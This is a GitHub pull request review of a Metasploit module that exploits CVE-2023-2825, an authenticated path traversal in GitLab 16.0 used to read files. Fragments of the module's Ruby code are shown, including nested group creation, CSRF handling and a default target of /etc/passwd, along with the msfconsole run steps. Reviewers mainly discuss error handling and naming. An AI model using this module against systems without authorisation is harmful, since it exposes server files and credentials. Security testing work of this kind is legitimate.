New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
gitlab file read CVE-2023-2825 #18039
Conversation
When exploiting this vulnerability, a group (or subgroup under the group) must be created | ||
for each level of the traversal. If the depth is 11 for the dir traversal, then a group | ||
and 10 sub-groups will be created. Lastly a project is created for that subgroup. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This doesn't explain the depth level needed and last I checked there was some minimum required. Can you elaborate on this more here in your explanation? The required level is a bit vague from what you have described here.
'Vitellozzo', # PoC on github | ||
], | ||
'References' => [ | ||
['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
According to this, the bug is unauthenticated and allows one to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups
. This seems like two problems here:
- We shouldn't need authentication to exploit this, yet it seems like we are authenticating to exploit this vulnerability.
- We fail to explain this 5 level nesting requirement.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
According to the PoC:
Unauthenticated users can only exploit this vulnerability on public repositories matching the nested group requirements. Authentication is required to access the repository itself.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
While this is true, I've never seen a gitlab which didn't require authentication during my pentests, let alone one with a minimum of 5 nested groups. I figured that was such a far shot, it wasn't worth coding in.
I think it may be better to have 2 exploits, an unauth and an auth one for this. Trying to loop through every project, check the groups depth, check if you can upload a file seems like a lot of code and looping that would significantly clutter this module.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sounds good to me just thought I'd call it out. I think we can skip the authentication point then but I would still like to see an explanation of the 5 level nesting requirement somewhere in the module to give people some more context to this bug.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'll do a git mv
and rename these to gitlab_authenticated_subgroups_file_read
to be more clear about the requirement as well
body =~ /"csrf-token" content="([^"]+)"/ | ||
::Regexp.last_match(1) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There is no guarentee here that the body contains this content yet you assume it does and then go on to trying to grab the last match assuming that it isn't nil
. Whilst thankfully this doesn't cause things to crash, its bad practice to not throw an error here if the regex doesn't match what you expect it to match.
This is further seen when you go and look at where get_csrf
is used, as all of its callers assume that it can never return an error. You might be able to fix by changing this to a body.match(/*REGEX*/)
call and then checking the result isn't nil
before accessing the group specific results.
info: [version] | ||
) | ||
return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") | ||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What about Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError
or Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError
from https://sourcegraph.com/github.com/rapid7/metasploit-framework/-/blob/lib/msf/core/exploit/remote/http/gitlab/rest/v4/version.rb?L13-14
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
should both be caught by the next rescue for Msf::Exploit::Remote::HTTP::Gitlab::Error
?
}) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302 | ||
csrf_token = get_csrf(res.body) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should be checking that res.body
isn't empty.
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302 | ||
csrf_token = get_csrf(res.body) | ||
|
||
project_id = res.headers['Location'].to_s.split('/')[3..].join('/') # strip off http[s]://ip/, seems like there should be a better way to do this though |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This assumes that the Location header will contain at least 3 /
's which may not be the case if its something like https://www.google.com
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200 | ||
res = res.get_json_document | ||
file_url = res['link']['url'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You should really be using res.dig('link', 'url')
or similar here in case these entities don't exist in the response and then checking file_url
to make sure its not nil
afterwards.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
didn't know about dig, nice!
if !res.body.empty? && res.code == 200 | ||
print_good(res.body) | ||
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE']) | ||
print_good("#{datastore['FILE']} saved to #{loot_path}") | ||
elsif res.body.empty? | ||
print_error('Response has 0 size.') | ||
else | ||
print_error('Bad response, initiating cleanup') | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
if !res.body.empty? && res.code == 200 | |
print_good(res.body) | |
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE']) | |
print_good("#{datastore['FILE']} saved to #{loot_path}") | |
elsif res.body.empty? | |
print_error('Response has 0 size.') | |
else | |
print_error('Bad response, initiating cleanup') | |
end | |
if res.body.empty? | |
print_error('Response has 0 size.') | |
elsif res.code == 200 | |
print_good(res.body) | |
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE']) | |
print_good("#{datastore['FILE']} saved to #{loot_path}") | |
else | |
print_error('Bad response, initiating cleanup') | |
end |
Suggested simplification of logic here.
6-day on something used by a group of people who would argue about how to patch their leaky life raft is pretty brave 😉 - thanks for getting this published, really helps when having conversations w/ members of the aforementioned group. |
info, | ||
'Name' => 'GitLab Authenticated File Read', | ||
'Description' => %q{ | ||
Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user. | |
GitLab version 16.0 contains an authenticated directory traversal for arbitrary file read as the 'gitlab' user. |
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), | ||
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), | ||
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]), | ||
OptString.new('File', [true, 'File to read', '/etc/passwd']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
OptString.new('File', [true, 'File to read', '/etc/passwd']) | |
OptString.new('FILE', [true, 'File to read', '/etc/passwd']) |
References to this datastore option will also need to be updated. Non-advanced options should be SCREAMING_SNAKE_CASE.
|
||
if !res.body.empty? && res.code == 200 | ||
print_good(res.body) | ||
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE']) | |
loot_path = store_loot('GitLab file', 'text/plain', ip, res.body, datastore['FILE']) |
This comment was marked as off-topic.
This comment was marked as off-topic.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please refactor this as a gather
module. We are working on expanding docs to be clear on this, with support for RHOSTS
we would like to push scanners
to be a in two categories fingerprinting/check
or login_scanner
.
Refactor will enabled support for a check
method that can be used in combination with RHOSTS
to also have this act as a true scanner for the issue without actually exercising it.
I'm going to go ahead and move this back to a draft since the changes are substantial |
I believe I've hit all the required changes, but i'm sure I missed something or introduced a new problem |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @h00die! I just left a few comments and suggestions for you to review when you get a chance. Otherwise, it looks good and it works great! Thank you for refactoring it into a gather
module.
return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") | ||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError | ||
return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.') | ||
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Msf::Exploit::Remote::HTTP::Gitlab::Error
is a module and I don't think this will catch the potential exceptions raised by gitlab_sign_in
. According to the GitLab mixin error file, the parent class of all these exceptions is Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError
.
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e | |
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e |
|
||
# grab our parent group ID for nesting | ||
res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/ | ||
parent_id = ::Regexp.last_match(1) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
A good practice here would be to check if parent_id
is nil and fail if it is. This might be possible that this module is run against a different version of GitLab with a different HTML response, which would make the regex fail.
parent_id = ::Regexp.last_match(1) | |
parent_id = ::Regexp.last_match(1) | |
fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id |
}) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302 | ||
# csrf_token = get_csrf(res.body) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If this commented statement is not required, it should be removed.
# csrf_token = get_csrf(res.body) |
}) | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? | ||
if res.code == 500 | ||
print_error("Unable to read file (permissions, or file doens't exist)") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
print_error("Unable to read file (permissions, or file doens't exist)") | |
print_error("Unable to read file (permissions, or file doesn't exist)") |
To retrieve the default password: | ||
|
||
``` | ||
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think it is a typo:
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives. | |
sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password | |
``` | |
Run the module: | |
``` | |
[*] Processing gitlab.rb for ERB directives. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
yea looks like a bad copy pasta when i went to put in a fresh run after all the changes
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::HTTP::Gitlab | ||
include Msf::Auxiliary::Report |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think this module could benefit of the AutoCheck
mixin to have the check
method run automatically before the exploit is launched.
include Msf::Auxiliary::Report | |
include Msf::Auxiliary::Report | |
prepend Msf::Exploit::Remote::AutoCheck |
end | ||
|
||
begin | ||
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you decide to use the AutoCheck
mixin, the check
method will be executed before run
, unless AutoCheck
is set to false
. Since this method already signs the user in, maybe it would be a good idea to add some logic that avoid signing again here. For example, storing the authentication cookie in an instance variable and checking this variable before calling gitlab_sign_in
.
Thanks @h00die for updating this. Everything looks good to me now. I tested against GitLab version 16.0.0 on Ubuntu 20.04.4 and it works great. I'll go ahead and land it. Example output
|
Release NotesThis adds an exploit leverages an authenticated arbitrary file read on Github 16.0.0. This vulnerability is identified as CVE-2023-2825. |
Fix #18038
This PR adds an exploit for an authenticated arbitrary file read on Github 16.0 (exclusively). This is a 6-day exploit.
Verification
msfconsole
use auxiliary/scanner/http/gitlab_subgroups_file_read
set rhosts [ip]
set username [username]
set password [password]
run